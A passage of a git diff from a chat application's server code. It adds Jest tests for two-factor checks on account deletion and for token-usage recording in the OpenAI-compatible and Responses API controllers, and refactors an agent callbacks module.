+jest.mock('~/server/services/Config/getCachedTools', () => ({
+ invalidateCachedTools: jest.fn(),
+}));
+
+jest.mock('~/server/services/Files/S3/crud', () => ({
+ needsRefresh: jest.fn(),
+ getNewS3URL: jest.fn(),
+}));
+
+jest.mock('~/server/services/Files/process', () => ({
+ processDeleteRequest: (...args) => mockProcessDeleteRequest(...args),
+}));
+
+jest.mock('~/server/services/Config', () => ({
+ getAppConfig: jest.fn(),
+}));
+
+jest.mock('~/models/ToolCall', () => ({
+ deleteToolCalls: (...args) => mockDeleteToolCalls(...args),
+}));
+
+jest.mock('~/models/Prompt', () => ({
+ deleteUserPrompts: (...args) => mockDeleteUserPrompts(...args),
+}));
+
+jest.mock('~/models/Agent', () => ({
+ deleteUserAgents: (...args) => mockDeleteUserAgents(...args),
+}));
+
+jest.mock('~/cache', () => ({
+ getLogStores: jest.fn(),
+}));
+
+const { deleteUserController } = require('~/server/controllers/UserController');
+
+function createRes() {
+ const res = {};
+ res.status = jest.fn().mockReturnValue(res);
+ res.json = jest.fn().mockReturnValue(res);
+ res.send = jest.fn().mockReturnValue(res);
+ return res;
+}
+
+function stubDeletionMocks() {
+ mockDeleteMessages.mockResolvedValue();
+ mockDeleteAllUserSessions.mockResolvedValue();
+ mockDeleteUserKey.mockResolvedValue();
+ mockDeletePresets.mockResolvedValue();
+ mockDeleteConvos.mockResolvedValue();
+ mockDeleteUserPluginAuth.mockResolvedValue();
+ mockDeleteUserById.mockResolvedValue();
+ mockDeleteAllSharedLinks.mockResolvedValue();
+ mockGetFiles.mockResolvedValue([]);
+ mockProcessDeleteRequest.mockResolvedValue();
+ mockDeleteFiles.mockResolvedValue();
+ mockDeleteToolCalls.mockResolvedValue();
+ mockDeleteUserAgents.mockResolvedValue();
+ mockDeleteUserPrompts.mockResolvedValue();
+}
+
+beforeEach(() => {
+ jest.clearAllMocks();
+ stubDeletionMocks();
+});
+
+describe('deleteUserController - 2FA enforcement', () => {
+ it('proceeds with deletion when 2FA is not enabled', async () => {
+ const req = { user: { id: 'user1', _id: 'user1', email: 'a@b.com' }, body: {} };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({ _id: 'user1', twoFactorEnabled: false });
+
+ await deleteUserController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(200);
+ expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
+ expect(mockDeleteMessages).toHaveBeenCalled();
+ expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled();
+ });
+
+ it('proceeds with deletion when user has no 2FA record', async () => {
+ const req = { user: { id: 'user1', _id: 'user1', email: 'a@b.com' }, body: {} };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue(null);
+
+ await deleteUserController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(200);
+ expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
+ });
+
+ it('returns error when 2FA is enabled and verification fails with 400', async () => {
+ const req = { user: { id: 'user1', _id: 'user1' }, body: {} };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ });
+ mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 });
+
+ await deleteUserController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(400);
+ expect(mockDeleteMessages).not.toHaveBeenCalled();
+ });
+
+ it('returns 401 when 2FA is enabled and invalid TOTP token provided', async () => {
+ const existingUser = {
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ };
+ const req = { user: { id: 'user1', _id: 'user1' }, body: { token: 'wrong' } };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue(existingUser);
+ mockVerifyOTPOrBackupCode.mockResolvedValue({
+ verified: false,
+ status: 401,
+ message: 'Invalid token or backup code',
+ });
+
+ await deleteUserController(req, res);
+
+ expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
+ user: existingUser,
+ token: 'wrong',
+ backupCode: undefined,
+ });
+ expect(res.status).toHaveBeenCalledWith(401);
+ expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' });
+ expect(mockDeleteMessages).not.toHaveBeenCalled();
+ });
+
+ it('returns 401 when 2FA is enabled and invalid backup code provided', async () => {
+ const existingUser = {
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ backupCodes: [],
+ };
+ const req = { user: { id: 'user1', _id: 'user1' }, body: { backupCode: 'bad-code' } };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue(existingUser);
+ mockVerifyOTPOrBackupCode.mockResolvedValue({
+ verified: false,
+ status: 401,
+ message: 'Invalid token or backup code',
+ });
+
+ await deleteUserController(req, res);
+
+ expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
+ user: existingUser,
+ token: undefined,
+ backupCode: 'bad-code',
+ });
+ expect(res.status).toHaveBeenCalledWith(401);
+ expect(mockDeleteMessages).not.toHaveBeenCalled();
+ });
+
+ it('deletes account when valid TOTP token provided with 2FA enabled', async () => {
+ const existingUser = {
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ };
+ const req = {
+ user: { id: 'user1', _id: 'user1', email: 'a@b.com' },
+ body: { token: '123456' },
+ };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue(existingUser);
+ mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
+
+ await deleteUserController(req, res);
+
+ expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
+ user: existingUser,
+ token: '123456',
+ backupCode: undefined,
+ });
+ expect(res.status).toHaveBeenCalledWith(200);
+ expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
+ expect(mockDeleteMessages).toHaveBeenCalled();
+ });
+
+ it('deletes account when valid backup code provided with 2FA enabled', async () => {
+ const existingUser = {
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ backupCodes: [{ codeHash: 'h1', used: false }],
+ };
+ const req = {
+ user: { id: 'user1', _id: 'user1', email: 'a@b.com' },
+ body: { backupCode: 'valid-code' },
+ };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue(existingUser);
+ mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
+
+ await deleteUserController(req, res);
+
+ expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
+ user: existingUser,
+ token: undefined,
+ backupCode: 'valid-code',
+ });
+ expect(res.status).toHaveBeenCalledWith(200);
+ expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
+ expect(mockDeleteMessages).toHaveBeenCalled();
+ });
+});
diff --git a/api/server/controllers/agents/__tests__/callbacks.spec.js b/api/server/controllers/agents/__tests__/callbacks.spec.js
index 7922c31efa..8bd711f9c6 100644
--- a/api/server/controllers/agents/__tests__/callbacks.spec.js
+++ b/api/server/controllers/agents/__tests__/callbacks.spec.js
@@ -16,13 +16,10 @@ jest.mock('@librechat/data-schemas', () => ({
}));
jest.mock('@librechat/agents', () => ({
- EnvVar: { CODE_API_KEY: 'CODE_API_KEY' },
- Providers: { GOOGLE: 'google' },
- GraphEvents: {},
+ ...jest.requireActual('@librechat/agents'),
getMessageId: jest.fn(),
ToolEndHandler: jest.fn(),
handleToolCalls: jest.fn(),
- ChatModelStreamHandler: jest.fn(),
}));
jest.mock('~/server/services/Files/Citations', () => ({
diff --git a/api/server/controllers/agents/__tests__/openai.spec.js b/api/server/controllers/agents/__tests__/openai.spec.js
new file mode 100644
index 0000000000..835343e798
--- /dev/null
+++ b/api/server/controllers/agents/__tests__/openai.spec.js
@@ -0,0 +1,229 @@
+/**
+ * Unit tests for OpenAI-compatible API controller
+ * Tests that recordCollectedUsage is called correctly for token spending
+ */
+
+const mockSpendTokens = jest.fn().mockResolvedValue({});
+const mockSpendStructuredTokens = jest.fn().mockResolvedValue({});
+const mockRecordCollectedUsage = jest
+ .fn()
+ .mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
+const mockGetBalanceConfig = jest.fn().mockReturnValue({ enabled: true });
+const mockGetTransactionsConfig = jest.fn().mockReturnValue({ enabled: true });
+
+jest.mock('nanoid', () => ({
+ nanoid: jest.fn(() => 'mock-nanoid-123'),
+}));
+
+jest.mock('@librechat/data-schemas', () => ({
+ logger: {
+ debug: jest.fn(),
+ error: jest.fn(),
+ warn: jest.fn(),
+ },
+}));
+
+jest.mock('@librechat/agents', () => ({
+ Callback: { TOOL_ERROR: 'TOOL_ERROR' },
+ ToolEndHandler: jest.fn(),
+ formatAgentMessages: jest.fn().mockReturnValue({
+ messages: [],
+ indexTokenCountMap: {},
+ }),
+}));
+
+jest.mock('@librechat/api', () => ({
+ writeSSE: jest.fn(),
+ createRun: jest.fn().mockResolvedValue({
+ processStream: jest.fn().mockResolvedValue(undefined),
+ }),
+ createChunk: jest.fn().mockReturnValue({}),
+ buildToolSet: jest.fn().mockReturnValue(new Set()),
+ sendFinalChunk: jest.fn(),
+ createSafeUser: jest.fn().mockReturnValue({ id: 'user-123' }),
+ validateRequest: jest
+ .fn()
+ .mockReturnValue({ request: { model: 'agent-123', messages: [], stream: false } }),
+ initializeAgent: jest.fn().mockResolvedValue({
+ model: 'gpt-4',
+ model_parameters: {},
+ toolRegistry: {},
+ }),
+ getBalanceConfig: mockGetBalanceConfig,
+ createErrorResponse: jest.fn(),
+ getTransactionsConfig: mockGetTransactionsConfig,
+ recordCollectedUsage: mockRecordCollectedUsage,
+ buildNonStreamingResponse: jest.fn().mockReturnValue({ id: 'resp-123' }),
+ createOpenAIStreamTracker: jest.fn().mockReturnValue({
+ addText: jest.fn(),
+ addReasoning: jest.fn(),
+ toolCalls: new Map(),
+ usage: { promptTokens: 0, completionTokens: 0, reasoningTokens: 0 },
+ }),
+ createOpenAIContentAggregator: jest.fn().mockReturnValue({
+ addText: jest.fn(),
+ addReasoning: jest.fn(),
+ getText: jest.fn().mockReturnValue(''),
+ getReasoning: jest.fn().mockReturnValue(''),
+ toolCalls: new Map(),
+ usage: { promptTokens: 100, completionTokens: 50, reasoningTokens: 0 },
+ }),
+ createToolExecuteHandler: jest.fn().mockReturnValue({ handle: jest.fn() }),
+ isChatCompletionValidationFailure: jest.fn().mockReturnValue(false),
+}));
+
+jest.mock('~/server/services/ToolService', () => ({
+ loadAgentTools: jest.fn().mockResolvedValue([]),
+ loadToolsForExecution: jest.fn().mockResolvedValue([]),
+}));
+
+jest.mock('~/models/spendTokens', () => ({
+ spendTokens: mockSpendTokens,
+ spendStructuredTokens: mockSpendStructuredTokens,
+}));
+
+const mockGetMultiplier = jest.fn().mockReturnValue(1);
+const mockGetCacheMultiplier = jest.fn().mockReturnValue(null);
+jest.mock('~/models/tx', () => ({
+ getMultiplier: mockGetMultiplier,
+ getCacheMultiplier: mockGetCacheMultiplier,
+}));
+
+jest.mock('~/server/controllers/agents/callbacks', () => ({
+ createToolEndCallback: jest.fn().mockReturnValue(jest.fn()),
+}));
+
+jest.mock('~/server/services/PermissionService', () => ({
+ findAccessibleResources: jest.fn().mockResolvedValue([]),
+}));
+
+jest.mock('~/models/Conversation', () => ({
+ getConvoFiles: jest.fn().mockResolvedValue([]),
+}));
+
+jest.mock('~/models/Agent', () => ({
+ getAgent: jest.fn().mockResolvedValue({
+ id: 'agent-123',
+ provider: 'openAI',
+ model_parameters: { model: 'gpt-4' },
+ }),
+ getAgents: jest.fn().mockResolvedValue([]),
+}));
+
+const mockUpdateBalance = jest.fn().mockResolvedValue({});
+const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined);
+jest.mock('~/models', () => ({
+ getFiles: jest.fn(),
+ getUserKey: jest.fn(),
+ getMessages: jest.fn(),
+ updateFilesUsage: jest.fn(),
+ getUserKeyValues: jest.fn(),
+ getUserCodeFiles: jest.fn(),
+ getToolFilesByIds: jest.fn(),
+ getCodeGeneratedFiles: jest.fn(),
+ updateBalance: mockUpdateBalance,
+ bulkInsertTransactions: mockBulkInsertTransactions,
+}));
+
+describe('OpenAIChatCompletionController', () => {
+ let OpenAIChatCompletionController;
+ let req, res;
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+
+ const controller = require('../openai');
+ OpenAIChatCompletionController = controller.OpenAIChatCompletionController;
+
+ req = {
+ body: {
+ model: 'agent-123',
+ messages: [{ role: 'user', content: 'Hello' }],
+ stream: false,
+ },
+ user: { id: 'user-123' },
+ config: {
+ endpoints: {
+ agents: { allowedProviders: ['openAI'] },
+ },
+ },
+ on: jest.fn(),
+ };
+
+ res = {
+ status: jest.fn().mockReturnThis(),
+ json: jest.fn(),
+ setHeader: jest.fn(),
+ flushHeaders: jest.fn(),
+ end: jest.fn(),
+ write: jest.fn(),
+ };
+ });
+
+ describe('token usage recording', () => {
+ it('should call recordCollectedUsage after successful non-streaming completion', async () => {
+ await OpenAIChatCompletionController(req, res);
+
+ expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+ expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
+ {
+ spendTokens: mockSpendTokens,
+ spendStructuredTokens: mockSpendStructuredTokens,
+ pricing: { getMultiplier: mockGetMultiplier, getCacheMultiplier: mockGetCacheMultiplier },
+ bulkWriteOps: {
+ insertMany: mockBulkInsertTransactions,
+ updateBalance: mockUpdateBalance,
+ },
+ },
+ expect.objectContaining({
+ user: 'user-123',
+ conversationId: expect.any(String),
+ collectedUsage: expect.any(Array),
+ context: 'message',
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ }),
+ );
+ });
+
+ it('should pass balance and transactions config to recordCollectedUsage', async () => {
+ mockGetBalanceConfig.mockReturnValue({ enabled: true, startBalance: 1000 });
+ mockGetTransactionsConfig.mockReturnValue({ enabled: true, rateLimit: 100 });
+
+ await OpenAIChatCompletionController(req, res);
+
+ expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
+ expect.any(Object),
+ expect.objectContaining({
+ balance: { enabled: true, startBalance: 1000 },
+ transactions: { enabled: true, rateLimit: 100 },
+ }),
+ );
+ });
+
+ it('should pass spendTokens, spendStructuredTokens, pricing, and bulkWriteOps as dependencies', async () => {
+ await OpenAIChatCompletionController(req, res);
+
+ const [deps] = mockRecordCollectedUsage.mock.calls[0];
+ expect(deps).toHaveProperty('spendTokens', mockSpendTokens);
+ expect(deps).toHaveProperty('spendStructuredTokens', mockSpendStructuredTokens);
+ expect(deps).toHaveProperty('pricing');
+ expect(deps.pricing).toHaveProperty('getMultiplier', mockGetMultiplier);
+ expect(deps.pricing).toHaveProperty('getCacheMultiplier', mockGetCacheMultiplier);
+ expect(deps).toHaveProperty('bulkWriteOps');
+ expect(deps.bulkWriteOps).toHaveProperty('insertMany', mockBulkInsertTransactions);
+ expect(deps.bulkWriteOps).toHaveProperty('updateBalance', mockUpdateBalance);
+ });
+
+ it('should include model from primaryConfig in recordCollectedUsage params', async () => {
+ await OpenAIChatCompletionController(req, res);
+
+ expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
+ expect.any(Object),
+ expect.objectContaining({
+ model: 'gpt-4',
+ }),
+ );
+ });
+ });
+});
diff --git a/api/server/controllers/agents/__tests__/responses.unit.spec.js b/api/server/controllers/agents/__tests__/responses.unit.spec.js
new file mode 100644
index 0000000000..45ec31fc68
--- /dev/null
+++ b/api/server/controllers/agents/__tests__/responses.unit.spec.js
@@ -0,0 +1,345 @@
+/**
+ * Unit tests for Open Responses API controller
+ * Tests that recordCollectedUsage is called correctly for token spending
+ */
+
+const mockSpendTokens = jest.fn().mockResolvedValue({});
+const mockSpendStructuredTokens = jest.fn().mockResolvedValue({});
+const mockRecordCollectedUsage = jest
+ .fn()
+ .mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
+const mockGetBalanceConfig = jest.fn().mockReturnValue({ enabled: true });
+const mockGetTransactionsConfig = jest.fn().mockReturnValue({ enabled: true });
+
+jest.mock('nanoid', () => ({
+ nanoid: jest.fn(() => 'mock-nanoid-123'),
+}));
+
+jest.mock('uuid', () => ({
+ v4: jest.fn(() => 'mock-uuid-456'),
+}));
+
+jest.mock('@librechat/data-schemas', () => ({
+ logger: {
+ debug: jest.fn(),
+ error: jest.fn(),
+ warn: jest.fn(),
+ },
+}));
+
+jest.mock('@librechat/agents', () => ({
+ Callback: { TOOL_ERROR: 'TOOL_ERROR' },
+ ToolEndHandler: jest.fn(),
+ formatAgentMessages: jest.fn().mockReturnValue({
+ messages: [],
+ indexTokenCountMap: {},
+ }),
+}));
+
+jest.mock('@librechat/api', () => ({
+ createRun: jest.fn().mockResolvedValue({
+ processStream: jest.fn().mockResolvedValue(undefined),
+ }),
+ buildToolSet: jest.fn().mockReturnValue(new Set()),
+ createSafeUser: jest.fn().mockReturnValue({ id: 'user-123' }),
+ initializeAgent: jest.fn().mockResolvedValue({
+ model: 'claude-3',
+ model_parameters: {},
+ toolRegistry: {},
+ }),
+ getBalanceConfig: mockGetBalanceConfig,
+ getTransactionsConfig: mockGetTransactionsConfig,
+ recordCollectedUsage: mockRecordCollectedUsage,
+ createToolExecuteHandler: jest.fn().mockReturnValue({ handle: jest.fn() }),
+ // Responses API
+ writeDone: jest.fn(),
+ buildResponse: jest.fn().mockReturnValue({ id: 'resp_123', output: [] }),
+ generateResponseId: jest.fn().mockReturnValue('resp_mock-123'),
+ isValidationFailure: jest.fn().mockReturnValue(false),
+ emitResponseCreated: jest.fn(),
+ createResponseContext: jest.fn().mockReturnValue({ responseId: 'resp_123' }),
+ createResponseTracker: jest.fn().mockReturnValue({
+ usage: { promptTokens: 100, completionTokens: 50 },
+ }),
+ setupStreamingResponse: jest.fn(),
+ emitResponseInProgress: jest.fn(),
+ convertInputToMessages: jest.fn().mockReturnValue([]),
+ validateResponseRequest: jest.fn().mockReturnValue({
+ request: { model: 'agent-123', input: 'Hello', stream: false },
+ }),
+ buildAggregatedResponse: jest.fn().mockReturnValue({
+ id: 'resp_123',
+ status: 'completed',
+ output: [],
+ usage: { input_tokens: 100, output_tokens: 50, total_tokens: 150 },
+ }),
+ createResponseAggregator: jest.fn().mockReturnValue({
+ usage: { promptTokens: 100, completionTokens: 50 },
+ }),
+ sendResponsesErrorResponse: jest.fn(),
+ createResponsesEventHandlers: jest.fn().mockReturnValue({
+ handlers: {
+ on_message_delta: { handle: jest.fn() },
+ on_reasoning_delta: { handle: jest.fn() },
+ on_run_step: { handle: jest.fn() },
+ on_run_step_delta: { handle: jest.fn() },
+ on_chat_model_end: { handle: jest.fn() },
+ },
+ finalizeStream: jest.fn(),
+ }),
+ createAggregatorEventHandlers: jest.fn().mockReturnValue({
+ on_message_delta: { handle: jest.fn() },
+ on_reasoning_delta: { handle: jest.fn() },
+ on_run_step: { handle: jest.fn() },
+ on_run_step_delta: { handle: jest.fn() },
+ on_chat_model_end: { handle: jest.fn() },
+ }),
+}));
+
+jest.mock('~/server/services/ToolService', () => ({
+ loadAgentTools: jest.fn().mockResolvedValue([]),
+ loadToolsForExecution: jest.fn().mockResolvedValue([]),
+}));
+
+jest.mock('~/models/spendTokens', () => ({
+ spendTokens: mockSpendTokens,
+ spendStructuredTokens: mockSpendStructuredTokens,
+}));
+
+const mockGetMultiplier = jest.fn().mockReturnValue(1);
+const mockGetCacheMultiplier = jest.fn().mockReturnValue(null);
+jest.mock('~/models/tx', () => ({
+ getMultiplier: mockGetMultiplier,
+ getCacheMultiplier: mockGetCacheMultiplier,
+}));
+
+jest.mock('~/server/controllers/agents/callbacks', () => ({
+ createToolEndCallback: jest.fn().mockReturnValue(jest.fn()),
+ createResponsesToolEndCallback: jest.fn().mockReturnValue(jest.fn()),
+}));
+
+jest.mock('~/server/services/PermissionService', () => ({
+ findAccessibleResources: jest.fn().mockResolvedValue([]),
+}));
+
+jest.mock('~/models/Conversation', () => ({
+ getConvoFiles: jest.fn().mockResolvedValue([]),
+ saveConvo: jest.fn().mockResolvedValue({}),
+ getConvo: jest.fn().mockResolvedValue(null),
+}));
+
+jest.mock('~/models/Agent', () => ({
+ getAgent: jest.fn().mockResolvedValue({
+ id: 'agent-123',
+ name: 'Test Agent',
+ provider: 'anthropic',
+ model_parameters: { model: 'claude-3' },
+ }),
+ getAgents: jest.fn().mockResolvedValue([]),
+}));
+
+const mockUpdateBalance = jest.fn().mockResolvedValue({});
+const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined);
+jest.mock('~/models', () => ({
+ getFiles: jest.fn(),
+ getUserKey: jest.fn(),
+ getMessages: jest.fn().mockResolvedValue([]),
+ saveMessage: jest.fn().mockResolvedValue({}),
+ updateFilesUsage: jest.fn(),
+ getUserKeyValues: jest.fn(),
+ getUserCodeFiles: jest.fn(),
+ getToolFilesByIds: jest.fn(),
+ getCodeGeneratedFiles: jest.fn(),
+ updateBalance: mockUpdateBalance,
+ bulkInsertTransactions: mockBulkInsertTransactions,
+}));
+
+describe('createResponse controller', () => {
+ let createResponse;
+ let req, res;
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+
+ const controller = require('../responses');
+ createResponse = controller.createResponse;
+
+ req = {
+ body: {
+ model: 'agent-123',
+ input: 'Hello',
+ stream: false,
+ },
+ user: { id: 'user-123' },
+ config: {
+ endpoints: {
+ agents: { allowedProviders: ['anthropic'] },
+ },
+ },
+ on: jest.fn(),
+ };
+
+ res = {
+ status: jest.fn().mockReturnThis(),
+ json: jest.fn(),
+ setHeader: jest.fn(),
+ flushHeaders: jest.fn(),
+ end: jest.fn(),
+ write: jest.fn(),
+ };
+ });
+
+ describe('token usage recording - non-streaming', () => {
+ it('should call recordCollectedUsage after successful non-streaming completion', async () => {
+ await createResponse(req, res);
+
+ expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+ expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
+ {
+ spendTokens: mockSpendTokens,
+ spendStructuredTokens: mockSpendStructuredTokens,
+ pricing: { getMultiplier: mockGetMultiplier, getCacheMultiplier: mockGetCacheMultiplier },
+ bulkWriteOps: {
+ insertMany: mockBulkInsertTransactions,
+ updateBalance: mockUpdateBalance,
+ },
+ },
+ expect.objectContaining({
+ user: 'user-123',
+ conversationId: expect.any(String),
+ collectedUsage: expect.any(Array),
+ context: 'message',
+ }),
+ );
+ });
+
+ it('should pass balance and transactions config to recordCollectedUsage', async () => {
+ mockGetBalanceConfig.mockReturnValue({ enabled: true, startBalance: 2000 });
+ mockGetTransactionsConfig.mockReturnValue({ enabled: true });
+
+ await createResponse(req, res);
+
+ expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
+ expect.any(Object),
+ expect.objectContaining({
+ balance: { enabled: true, startBalance: 2000 },
+ transactions: { enabled: true },
+ }),
+ );
+ });
+
+ it('should pass spendTokens, spendStructuredTokens, pricing, and bulkWriteOps as dependencies', async () => {
+ await createResponse(req, res);
+
+ const [deps] = mockRecordCollectedUsage.mock.calls[0];
+ expect(deps).toHaveProperty('spendTokens', mockSpendTokens);
+ expect(deps).toHaveProperty('spendStructuredTokens', mockSpendStructuredTokens);
+ expect(deps).toHaveProperty('pricing');
+ expect(deps.pricing).toHaveProperty('getMultiplier', mockGetMultiplier);
+ expect(deps.pricing).toHaveProperty('getCacheMultiplier', mockGetCacheMultiplier);
+ expect(deps).toHaveProperty('bulkWriteOps');
+ expect(deps.bulkWriteOps).toHaveProperty('insertMany', mockBulkInsertTransactions);
+ expect(deps.bulkWriteOps).toHaveProperty('updateBalance', mockUpdateBalance);
+ });
+
+ it('should include model from primaryConfig in recordCollectedUsage params', async () => {
+ await createResponse(req, res);
+
+ expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
+ expect.any(Object),
+ expect.objectContaining({
+ model: 'claude-3',
+ }),
+ );
+ });
+ });
+
+ describe('token usage recording - streaming', () => {
+ beforeEach(() => {
+ req.body.stream = true;
+
+ const api = require('@librechat/api');
+ api.validateResponseRequest.mockReturnValue({
+ request: { model: 'agent-123', input: 'Hello', stream: true },
+ });
+ });
+
+ it('should call recordCollectedUsage after successful streaming completion', async () => {
+ await createResponse(req, res);
+
+ expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+ expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
+ {
+ spendTokens: mockSpendTokens,
+ spendStructuredTokens: mockSpendStructuredTokens,
+ pricing: { getMultiplier: mockGetMultiplier, getCacheMultiplier: mockGetCacheMultiplier },
+ bulkWriteOps: {
+ insertMany: mockBulkInsertTransactions,
+ updateBalance: mockUpdateBalance,
+ },
+ },
+ expect.objectContaining({
+ user: 'user-123',
+ context: 'message',
+ }),
+ );
+ });
+ });
+
+ describe('collectedUsage population', () => {
+ it('should collect usage from on_chat_model_end events', async () => {
+ const api = require('@librechat/api');
+
+ let capturedOnChatModelEnd;
+ api.createAggregatorEventHandlers.mockImplementation(() => {
+ return {
+ on_message_delta: { handle: jest.fn() },
+ on_reasoning_delta: { handle: jest.fn() },
+ on_run_step: { handle: jest.fn() },
+ on_run_step_delta: { handle: jest.fn() },
+ on_chat_model_end: {
+ handle: jest.fn((event, data) => {
+ if (capturedOnChatModelEnd) {
+ capturedOnChatModelEnd(event, data);
+ }
+ }),
+ },
+ };
+ });
+
+ api.createRun.mockImplementation(async ({ customHandlers }) => {
+ capturedOnChatModelEnd = (event, data) => {
+ customHandlers.on_chat_model_end.handle(event, data);
+ };
+
+ return {
+ processStream: jest.fn().mockImplementation(async () => {
+ customHandlers.on_chat_model_end.handle('on_chat_model_end', {
+ output: {
+ usage_metadata: {
+ input_tokens: 150,
+ output_tokens: 75,
+ model: 'claude-3',
+ },
+ },
+ });
+ }),
+ };
+ });
+
+ await createResponse(req, res);
+
+ expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
+ expect.any(Object),
+ expect.objectContaining({
+ collectedUsage: expect.arrayContaining([
+ expect.objectContaining({
+ input_tokens: 150,
+ output_tokens: 75,
+ }),
+ ]),
+ }),
+ );
+ });
+ });
+});
diff --git a/api/server/controllers/agents/callbacks.js b/api/server/controllers/agents/callbacks.js
index 0d2a7bc317..0bb935795d 100644
--- a/api/server/controllers/agents/callbacks.js
+++ b/api/server/controllers/agents/callbacks.js
@@ -1,16 +1,13 @@
const { nanoid } = require('nanoid');
-const { sendEvent, GenerationJobManager } = require('@librechat/api');
const { logger } = require('@librechat/data-schemas');
+const { Constants, EnvVar, GraphEvents, ToolEndHandler } = require('@librechat/agents');
const { Tools, StepTypes, FileContext, ErrorTypes } = require('librechat-data-provider');
const {
- EnvVar,
- Providers,
- GraphEvents,
- getMessageId,
- ToolEndHandler,
- handleToolCalls,
- ChatModelStreamHandler,
-} = require('@librechat/agents');
+ sendEvent,
+ GenerationJobManager,
+ writeAttachmentEvent,
+ createToolExecuteHandler,
+} = require('@librechat/api');
const { processFileCitations } = require('~/server/services/Files/Citations');
const { processCodeOutput } = require('~/server/services/Files/Code/process');
const { loadAuthValues } = require('~/server/services/Tools/credentials');
@@ -51,8 +48,6 @@ class ModelEndHandler {
let errorMessage;
try {
const agentContext = graph.getAgentContext(metadata);
- const isGoogle = agentContext.provider === Providers.GOOGLE;
- const streamingDisabled = !!agentContext.clientOptions?.disableStreaming;
if (data?.output?.additional_kwargs?.stop_reason === 'refusal') {
const info = { ...data.output.additional_kwargs };
errorMessage = JSON.stringify({
@@ -67,21 +62,6 @@ class ModelEndHandler {
});
}
- const toolCalls = data?.output?.tool_calls;
- let hasUnprocessedToolCalls = false;
- if (Array.isArray(toolCalls) && toolCalls.length > 0 && graph?.toolCallStepIds?.has) {
- try {
- hasUnprocessedToolCalls = toolCalls.some(
- (tc) => tc?.id && !graph.toolCallStepIds.has(tc.id),
- );
- } catch {
- hasUnprocessedToolCalls = false;
- }
- }
- if (isGoogle || streamingDisabled || hasUnprocessedToolCalls) {
- await handleToolCalls(toolCalls, metadata, graph);
- }
-
const usage = data?.output?.usage_metadata;
if (!usage) {
return this.finalize(errorMessage);
@@ -92,38 +72,6 @@ class ModelEndHandler {
}
this.collectedUsage.push(usage);
- if (!streamingDisabled) {
- return this.finalize(errorMessage);
- }
- if (!data.output.content) {
- return this.finalize(errorMessage);
- }
- const stepKey = graph.getStepKey(metadata);
- const message_id = getMessageId(stepKey, graph) ?? '';
- if (message_id) {
- await graph.dispatchRunStep(stepKey, {
- type: StepTypes.MESSAGE_CREATION,
- message_creation: {
- message_id,
- },
- });
- }
- const stepId = graph.getStepIdByKey(stepKey);
- const content = data.output.content;
- if (typeof content === 'string') {
- await graph.dispatchMessageDelta(stepId, {
- content: [
- {
- type: 'text',
- text: content,
- },
- ],
- });
- } else if (content.every((c) => c.type?.startsWith('text'))) {
- await graph.dispatchMessageDelta(stepId, {
- content,
- });
- }
} catch (error) {
logger.error('Error handling model end event:', error);
return this.finalize(errorMessage);
@@ -146,18 +94,26 @@ function checkIfLastAgent(last_agent_id, langgraph_node) {
/**
* Helper to emit events either to res (standard mode) or to job emitter (resumable mode).
+ * In Redis mode, awaits the emit to guarantee event ordering (critical for streaming deltas).
* @param {ServerResponse} res - The server response object
* @param {string | null} streamId - The stream ID for resumable mode, or null for standard mode
* @param {Object} eventData - The event data to send
+ * @returns {Promise}
*/
-function emitEvent(res, streamId, eventData) {
+async function emitEvent(res, streamId, eventData) {
if (streamId) {
- GenerationJobManager.emitChunk(streamId, eventData);
+ await GenerationJobManager.emitChunk(streamId, eventData);
} else {
sendEvent(res, eventData);
}
}
+/**
+ * @typedef {Object} ToolExecuteOptions
+ * @property {(toolNames: string[]) => Promise<{loadedTools: StructuredTool[]}>} loadTools - Function to load tools by name
+ * @property {Object} configurable - Configurable context for tool invocation
+ */
+
/**
* Get default handlers for stream events.
* @param {Object} options - The options object.
@@ -166,6 +122,7 @@ function emitEvent(res, streamId, eventData) {
* @param {ToolEndCallback} options.toolEndCallback - Callback to use when tool ends.
